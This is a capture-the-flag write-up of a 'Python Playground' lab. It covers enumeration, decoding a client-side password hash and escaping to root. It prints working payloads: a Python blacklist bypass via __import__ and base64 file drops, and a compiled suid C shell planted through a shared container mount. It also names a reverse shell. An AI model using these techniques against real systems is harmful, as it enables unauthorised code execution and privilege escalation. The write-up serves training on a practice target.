Room link

Objectives

Capture three flags

Steps

Enumeration

Let’s start with a standard nmap scan:

1
2
3
4
5
6
7
8
9
Nmap scan report for <IP>

PORT      STATE    SERVICE        REASON      VERSION
22/tcp    open     ssh            syn-ack     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp    open     http           syn-ack     Node.js Express framework
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Python Playground!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

HTTP

We see an open http server on port 80. After browsing to the site we’re greeted with this page. index.html On this page there are two links: login.html and signup.html Both have the same page on them login + signup

There is nothing suspicious in the source code so after running a quick gobuster scan with raft-large-files.txt we can find admin.html admin.html

We’re presented with a login page but after checking the source code it is client-side only

1
2
<script>
    // I suck at server side code, luckily I know how to make things secure without it - Connor

The script contains two functions (string_to_int_array and int_array_to_text) and a form handler. Inside the form handler we can see a check for the correct password and a redirect to a “secret page”

1
2
3
4
5
if(hash === '<REDACTED>'){
    window.location = 'super-secret-admin-testing-panel.html';
}else {
    document.getElementById('fail').style.display = '';
}


The secret page contains a textarea presumably to execute python code just like the index page said. secret page

RCE

The index page also mentioned a blacklist forbidding people from executing code on the underlying system.
After many attempts I figured out that the blocked keywords were: “import “, “eval”, “exec” and “system”.

I figured out an overcomplicated way of bypassing it. It revolved around a base64 encoded file being unpacked onto the system and executed with an import function.

1
2
3
4
5
6
f = open("test.py",'w')
f.write(__import__("base64").b64decode("<BASE64_FILE>").decode('utf-8'))
f.close()
p=__import__("os").getcwd()
__import__("sys").path.append(p)
__import__("test").a()

This approach works but there is a way simpler way to get a shell on the system. Instead of using a space after the “import” keyword we can use a tab which is still parsed by python (Thanks jammy for letting me know) This way we can use the pentestmonkey python reverse shell without any problems.

Initial foothold

After getting the reverse shell we are strangely dropped into a root shell

1
2
# id
uid=0(root) gid=0(root) groups=0(root)

Looking around the filesystem we can see the project code in /root/app, flag1 in /root and a weird mount in /mnt/log (we’ll come back to it later).
Most of binaries are missing so this is probably not the way which we should use to progress.

There are no other flags on this system so it is probably a container of some sorts.

User credentials

With the root shell being probably in a container we need to backtrack for a second and figure out the credentials to the admin page as they might be reused for ssh access.

The admin “login” site had all the code clientside which makes it easy for us to reverse-engineer it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function string_to_int_array(str){
    const intArr = [];

    for(let i=0;i<str.length;i++){
        const charcode = str.charCodeAt(i);

        const partA = Math.floor(charcode / 26);
        const partB = charcode % 26;

        intArr.push(partA);
        intArr.push(partB);
    }

    return intArr;
}

function int_array_to_text(int_array){
    let txt = '';

    for(let i=0;i<int_array.length;i++){
        txt += String.fromCharCode(97 + int_array[i]);
    }

    return txt;
}

document.forms[0].onsubmit = function (e){
    e.preventDefault();

    if(document.getElementById('username').value !== 'connor'){
        document.getElementById('fail').style.display = '';
        return false;
    }

    const chosenPass = document.getElementById('inputPassword').value;

    const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));

    if(hash === '<REDACTED>'){
        window.location = 'super-secret-admin-testing-panel.html';
    }else {
        document.getElementById('fail').style.display = '';
    }
    return false;
}

From going through the code we can deduct that:

With the “encoding” function known we can write a “decoder” for the password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function decodeStr(str) {
    let out = ""

    for (let i = 0; i < str.length; i += 2) {
        let partA = str.charCodeAt(i) - 97
        let partB = str.charCodeAt(i + 1) - 97

        out += String.fromCharCode((partA * 26) + partB)
    }

    return out
}

console.log(decodeStr(decodeStr("<REDACTED>"))) // password

User shell

With the user credentials we can log in as connor via ssh and grab the 2nd flag

1
2
connor@pythonplayground:~$ ls
flag2.txt

Looking around the system and using linpeas and trying to exploit things didn’t reveal much, doing similar scans on the container also resulted in nothing.
Thanks again to jammy for making me realize that the /mnt/log in the container was linked to /var/log on the parent machine just like I suspected earlier.
With this in mind we can create a file with suid bit set and execute it afterwards as connor. (This is possible because the root user id is the same across systems)

1
2
3
4
5
6
7
8
9
10
11
// ON THE CONTAINER
# printf 'int main(void){setresuid(0,0,0);system("/bin/sh");}'>tmp.c
# gcc tmp.c -o tmp
# chmod 777 tmp
# chmod +s tmp

// ON THE PARENT MACHINE
connor@pythonplayground:~$ /var/log/tmp
# id
uid=0(root) gid=1000(connor) groups=1000(connor)
# 

Root

As root we can now easily grab the 3rd flag from /root





Thanks to: